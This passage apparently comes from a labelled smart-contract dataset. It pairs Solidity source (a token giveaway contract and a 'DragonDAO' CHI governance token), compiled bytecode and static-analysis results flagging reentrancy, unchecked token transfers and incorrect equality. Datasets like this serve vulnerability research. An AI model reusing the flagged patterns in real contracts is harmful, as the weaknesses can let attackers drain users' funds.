2080546fffffffffffffffffffffffff000000001916600160201b6001600160601b03851602179055611256565b60408051808201825263ffffffff80841682526001600160601b0380861660208085019182526001600160a01b038b166000818152600683528781208c871682528352878120965187549451909516600160201b026fffffffffffffffffffffffff000000001995871663ffffffff19958616179590951694909417909555938252600790935292909220805460018801909316929091169190911790555b846001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051611291929190611a7f565b60405180910390a25050505050565b600081600160201b8410610ca15760405162461bcd60e51b81526004016105f5919061198b565b604080518082019091526000808252602082015290565b80356103ff81611b27565b80356103ff81611b3b565b80356103ff81611b44565b80356103ff81611b4d565b60006020828403121561131c57600080fd5b600061132884846112de565b949350505050565b6000806040838503121561134357600080fd5b600061134f85856112de565b9250506020611360858286016112de565b9150509250929050565b60008060006060848603121561137f57600080fd5b600061138b86866112de565b935050602061139c868287016112de565b92505060406113ad868287016112e9565b9150509250925092565b600080604083850312156113ca57600080fd5b60006113d685856112de565b9250506020611360858286016112e9565b60008060008060008060c0878903121561140057600080fd5b600061140c89896112de565b965050602061141d89828a016112e9565b955050604061142e89828a016112e9565b945050606061143f89828a016112ff565b935050608061145089828a016112e9565b92505060a061146189828a016112e9565b9150509295509295509295565b6000806040838503121561148157600080fd5b600061148d85856112de565b9250506020611360858286016112f4565b6114a781611aac565b82525050565b6114a781611ab7565b6114a781611abc565b6114a76114cb82611abc565b611abc565b60006114db82611a9a565b6114e58185611a9e565b93506114f5818560208601611af1565b6114fe81611b1d565b9093019392505050565b6000611515602283611a9e565b7f44616e6b3a3a64656c656761746542795369673a20696e76616c6964206e6f6e815261636560f01b602082015260400192915050565b6000611559601683611a9e565b7526bab9ba10313290383937b837b9b2b21037bbb732b960511b815260200192915050565b600061158b600283611aa7565b61190160f01b815260020192915050565b60006115a9601683611a9e565b7527b7363c9031b0b63630b1363290313c9037bbb732b960511b815260200192915050565b60006115db603a83611a9e565b7f44616e6b3a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747281527f616e7366657220746f20746865207a65726f2061646472657373000000000000602082015260400192915050565b600061163a603c83611a9e565b7f44616e6b3a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747281527f616e736665722066726f6d20746865207a65726f206164647265737300000000602082015260400192915050565b6000611699604383611aa7565b7f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353681527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208201526263742960e81b604082015260430192915050565b6000611704602683611a9e565b7f44616e6b3a3a64656c656761746542795369673a207369676e617475726520658152651e1c1a5c995960d21b602082015260400192915050565b600061174c602683611a9e565b7f44616e6b3a3a64656c656761746542795369673a20696e76616c6964207369678152656e617475726560d01b602082015260400192915050565b6000611794601783611a9e565b7f43616e6e6f74207472616e7366657220746f2073656c66000000000000000000815260200192915050565b60006117cd603a83611aa7565b7f44656c65676174696f6e28616464726573732064656c6567617465652c75696e81527f74323536206e6f6e63652c75696e7432353620657870697279290000000000006020820152603a0192915050565b600061182c602783611a9e565b7f44616e6b3a3a6765745072696f72566f7465733a206e6f742079657420646574815266195c9b5a5b995960ca1b602082015260400192915050565b6114a781611acb565b6114a781611ad4565b6114a781611ae6565b6114a781611ada565b60006118978261157e565b91506118a382856114bf565b6020820191506118b382846114bf565b5060200192915050565b60006103ff8261168c565b60006103ff826117c0565b602081016103ff828461149e565b602081016103ff82846114ad565b602081016103ff82846114b6565b6080810161190b82876114b6565b611918602083018661149e565b61192560408301856114b6565b61193260608301846114b6565b95945050505050565b6080810161194982876114b6565b61195660208301866114b6565b61196360408301856114b6565b611932606083018461149e565b6080810161197e82876114b6565b6119186020830186611871565b6020808252810161056481846114d0565b602080825281016103ff81611508565b602080825281016103ff8161154c565b602080825281016103ff8161159c565b602080825281016103ff816115ce565b602080825281016103ff8161162d565b602080825281016103ff816116f7565b602080825281016103ff8161173f565b602080825281016103ff81611787565b602080825281016103ff8161181f565b602081016103ff8284611868565b60408101611a488285611868565b6105646020830184611883565b602081016103ff8284611871565b602081016103ff828461187a565b602081016103ff8284611883565b60408101611a8d828561187a565b610564602083018461187a565b5190565b90815260200190565b919050565b60006103ff82611abf565b151590565b90565b6001600160a01b031690565b63ffffffff1690565b60ff1690565b6001600160601b031690565b60006103ff82611ada565b60005b83811015611b0c578181015183820152602001611af4565b83811115610f175750506000910152565b601f01601f191690565b611b3081611aac565b811461059557600080fd5b611b3081611abc565b611b3081611acb565b611b3081611ad456fe44616e6b3a3a7472616e736665723a20616d6f756e742065786365656473203936206269747344616e6b3a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e636544616e6b3a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e636544616e6b3a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f777344616e6b3a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f777344616e6b3a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f777344616e6b3a3a617070726f76653a20616d6f756e742065786365656473203936206269747344616e6b3a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473a365627a7a7231582051cedddf197fc47a99638cba29ecb77513cf6e2dd26c41dda360272fbbbc74d56c6578706572696d656e74616cf564736f6c63430005100040
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 8,448 |
0xc6f1c06970afb1d39842e4c161d1c49898bba678
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract GiveawayContract is Ownable {
using SafeMath for uint256;
IERC20 public tokenAccel;
struct TokenInputInfo {
address addr;
uint256 rateInput;
uint256 rateOutput;
}
mapping (uint256 => TokenInputInfo) public tokenInput;
mapping (uint256 => mapping (address => uint256)) private balances;
mapping (address => bool) public claimed;
uint256 private totalDevidend;
constructor(address _tokenAccel) {
tokenAccel = IERC20(_tokenAccel);
}
function ownerAddInputTokenForSwap(uint256 id, address _inputToken, uint256 _inputRate, uint256 _outputRate)public onlyOwner{
require(id < 3, "There 3 token, id should be 0,1,2");
tokenInput[id].addr = _inputToken;
tokenInput[id].rateInput = _inputRate;
tokenInput[id].rateOutput = _outputRate;
}
receive() external payable {
}
function ownerWithdrawEthAndToken() public onlyOwner{
tokenAccel.transfer(msg.sender, tokenAccel.balanceOf(address(this)));
payable(msg.sender).transfer(address(this).balance);
}
function ownerSetupTokenBalance(uint256 id, address[] calldata accounts, uint256[] calldata amount) public onlyOwner {
require(id < 3, "There 3 token, id should be 0,1,2");
for( uint256 i = 0; i < accounts.length; i++){
balances[id][accounts[i]] = amount[i];
totalDevidend = totalDevidend.add(amount[i].mul(tokenInput[id].rateOutput).div(tokenInput[id].rateInput));
}
}
function getClaimableAmount(address account) public view returns(uint256 tokens, uint256 eth, uint256 dividend){
if(totalDevidend == 0){
tokens = 0;
eth = 0;
dividend = 0;
}else{
uint256 yourDividend = 0;
for (uint256 i= 0; i<3; i++){
if(tokenInput[i].rateInput > 0)
yourDividend = yourDividend.add(balances[i][account].mul(tokenInput[i].rateOutput).div(tokenInput[i].rateInput));
}
tokens = tokenAccel.balanceOf(address(this)).mul(yourDividend).div(totalDevidend);
eth = address(this).balance.mul(yourDividend).div(totalDevidend);
dividend = yourDividend;
}
}
function claim() public{
require(claimed[msg.sender] == false, "Already claimed");
claimed[msg.sender] = true;
(uint256 tokens, uint256 eth, uint256 dividend) = getClaimableAmount(msg.sender);
tokenAccel.transfer(msg.sender, tokens);
payable(msg.sender).transfer(eth);
totalDevidend = totalDevidend - dividend;
}
}
|
0x6080604052600436106100c05760003560e01c80637333555911610074578063c884ef831161004e578063c884ef8314610255578063e12f3a6114610295578063f2fde38b146102d057600080fd5b806373335559146101845780637df62b6f146101a45780638da5cb5b1461022a57600080fd5b806362faf223116100a557806362faf223146100f85780636c8ffd9314610118578063715018a61461016f57600080fd5b806330878aae146100cc5780634e71d92d146100e357600080fd5b366100c757005b600080fd5b3480156100d857600080fd5b506100e16102f0565b005b3480156100ef57600080fd5b506100e16104d6565b34801561010457600080fd5b506100e161011336600461100f565b61067c565b34801561012457600080fd5b506001546101459073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020015b60405180910390f35b34801561017b57600080fd5b506100e161088f565b34801561019057600080fd5b506100e161019f3660046110b2565b61097f565b3480156101b057600080fd5b506101f86101bf3660046110ed565b600260208190526000918252604090912080546001820154919092015473ffffffffffffffffffffffffffffffffffffffff9092169183565b6040805173ffffffffffffffffffffffffffffffffffffffff9094168452602084019290925290820152606001610166565b34801561023657600080fd5b5060005473ffffffffffffffffffffffffffffffffffffffff16610145565b34801561026157600080fd5b50610285610270366004611106565b60046020526000908152604090205460ff1681565b6040519015158152602001610166565b3480156102a157600080fd5b506102b56102b0366004611106565b610af1565b60408051938452602084019290925290820152606001610166565b3480156102dc57600080fd5b506100e16102eb366004611106565b610c66565b60005473ffffffffffffffffffffffffffffffffffffffff163314610376576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6001546040517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff9091169063a9059cbb90339083906370a0823190602401602060405180830381865afa1580156103ee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104129190611121565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b16815273ffffffffffffffffffffffffffffffffffffffff909216600483015260248201526044016020604051808303816000875af1158015610482573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104a6919061113a565b5060405133904780156108fc02916000818181858888f193505050501580156104d3573d6000803e3d6000fd5b50565b3360009081526004602052604090205460ff1615610550576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600f60248201527f416c726561647920636c61696d65640000000000000000000000000000000000604482015260640161036d565b33600081815260046020526040812080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055908190819061059690610af1565b6001546040517fa9059cbb00000000000000000000000000000000000000000000000000000000815233600482015260248101859052939650919450925073ffffffffffffffffffffffffffffffffffffffff169063a9059cbb906044016020604051808303816000875af1158015610613573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610637919061113a565b50604051339083156108fc029084906000818181858888f19350505050158015610665573d6000803e3d6000fd5b5080600554610674919061118b565b600555505050565b60005473ffffffffffffffffffffffffffffffffffffffff1633146106fd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161036d565b6003851061078d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f5468657265203320746f6b656e2c2069642073686f756c6420626520302c312c60448201527f3200000000000000000000000000000000000000000000000000000000000000606482015260840161036d565b60005b83811015610887578282828181106107aa576107aa6111a2565b905060200201356003600088815260200190815260200160002060008787858181106107d8576107d86111a2565b90506020020160208101906107ed9190611106565b73ffffffffffffffffffffffffffffffffffffffff1681526020808201929092526040908101600090812093909355888352600291829052909120600181015491015461087291610869916108639087878781811061084e5761084e6111a2565b90506020020135610e1790919063ffffffff16565b90610ed5565b60055490610f4a565b6005558061087f816111d1565b915050610790565b505050505050565b60005473ffffffffffffffffffffffffffffffffffffffff163314610910576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161036d565b6000805460405173ffffffffffffffffffffffffffffffffffffffff909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b60005473ffffffffffffffffffffffffffffffffffffffff163314610a00576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161036d565b60038410610a90576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f5468657265203320746f6b656e2c2069642073686f756c6420626520302c312c60448201527f3200000000000000000000000000000000000000000000000000000000000000606482015260840161036d565b600093845260026020819052604090942080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff949094169390931783556001830191909155910155565b600080600060055460001415610b0f57506000915081905080610c5f565b6000805b6003811015610ba15760008181526002602052604090206001015415610b8f57600081815260026020818152604080842060018101549301546003835281852073ffffffffffffffffffffffffffffffffffffffff8c16865290925290922054610b8c92610b85929161086391610e17565b8390610f4a565b91505b80610b99816111d1565b915050610b13565b506005546001546040517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152610c46929161086391859173ffffffffffffffffffffffffffffffffffffffff16906370a0823190602401602060405180830381865afa158015610c1c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c409190611121565b90610e17565b600554909450610c5a906108634784610e17565b925090505b9193909250565b60005473ffffffffffffffffffffffffffffffffffffffff163314610ce7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161036d565b73ffffffffffffffffffffffffffffffffffffffff8116610d8a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f6464726573730000000000000000000000000000000000000000000000000000606482015260840161036d565b6000805460405173ffffffffffffffffffffffffffffffffffffffff808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b600082610e2657506000610ecf565b6000610e32838561120a565b905082610e3f8583611247565b14610ecc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60448201527f7700000000000000000000000000000000000000000000000000000000000000606482015260840161036d565b90505b92915050565b6000808211610f40576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015260640161036d565b610ecc8284611247565b600080610f578385611282565b905083811015610ecc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161036d565b60008083601f840112610fd557600080fd5b50813567ffffffffffffffff811115610fed57600080fd5b6020830191508360208260051b850101111561100857600080fd5b9250929050565b60008060008060006060868803121561102757600080fd5b85359450602086013567ffffffffffffffff8082111561104657600080fd5b61105289838a01610fc3565b9096509450604088013591508082111561106b57600080fd5b5061107888828901610fc3565b969995985093965092949392505050565b803573ffffffffffffffffffffffffffffffffffffffff811681146110ad57600080fd5b919050565b600080600080608085870312156110c857600080fd5b843593506110d860208601611089565b93969395505050506040820135916060013590565b6000602082840312156110ff57600080fd5b5035919050565b60006020828403121561111857600080fd5b610ecc82611089565b60006020828403121561113357600080fd5b5051919050565b60006020828403121561114c57600080fd5b81518015158114610ecc57600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008282101561119d5761119d61115c565b500390565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156112035761120361115c565b5060010190565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156112425761124261115c565b500290565b60008261127d577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b600082198211156112955761129561115c565b50019056fea2646970667358221220562f34d6f38eb30c7318b14d219d484b7e4f7fc19f5f196a665b1da075b444d264736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 8,449 |
0xE61a4c119408ecD8764b6DCf877f6b4c07A21EE4
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.16;
contract chiToken {
/// @notice EIP-20 token name for this token
string public constant name = "DragonDAO";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "CHI";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint128 private _totalSupply = 10_000_000_000e18; // 10 billion Dragon
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint128)) internal allowances;
/// @notice Official record of token balances for each accountƒ
mapping (address => uint128) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint128 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/**
* @notice Construct a new TT token
* @param account The initial account to grant all the tokens
*/
constructor(address account) public {
balances[account] = uint128(_totalSupply);
emit Transfer(address(0), account, _totalSupply);
}
/** ========== token functions ========== */
function totalSupply() public view returns (uint128) {
return _totalSupply;
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) public view returns (uint128) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) public returns (bool) {
uint128 amount;
if (rawAmount == uint(-1)) {
amount = uint128(-1);
} else {
amount = safe128(rawAmount, "approve: amount exceeds 128 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) public view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint128 amount = safe128(rawAmount, "transfer: amount exceeds 128 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint128 spenderAllowance = allowances[src][spender];
uint128 amount = safe128(rawAmount, "approve: amount exceeds 128 bits");
if (spender != src && spenderAllowance != uint128(-1)) {
uint128 newAllowance = sub128(spenderAllowance, amount, "transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
* votes will be updated after burn() whoever the delegator is.
*/
function burn(uint256 rawAmount) external returns (bool) {
uint128 amount = safe128(rawAmount, "_burn: amount exceeds 128 bits");
require(_burn(msg.sender, amount), "burn: fail to burn");
return true;
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 rawAmount) external returns (bool) {
uint128 amount = safe128(rawAmount, "_burn: amount exceeds 128 bits");
uint128 decreasedAllowance = sub128(allowance(account, msg.sender), amount, "ERC20: burn amount exceeds allowance");
allowances[account][msg.sender] = decreasedAllowance;
require(_burn(account, amount), "burn: fail to burn");
return true;
}
/** ========== voting functions ========== */
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "delegateBySig: invalid nonce");
require(now <= expiry, "delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint128) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint128) {
require(blockNumber < block.number, "getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
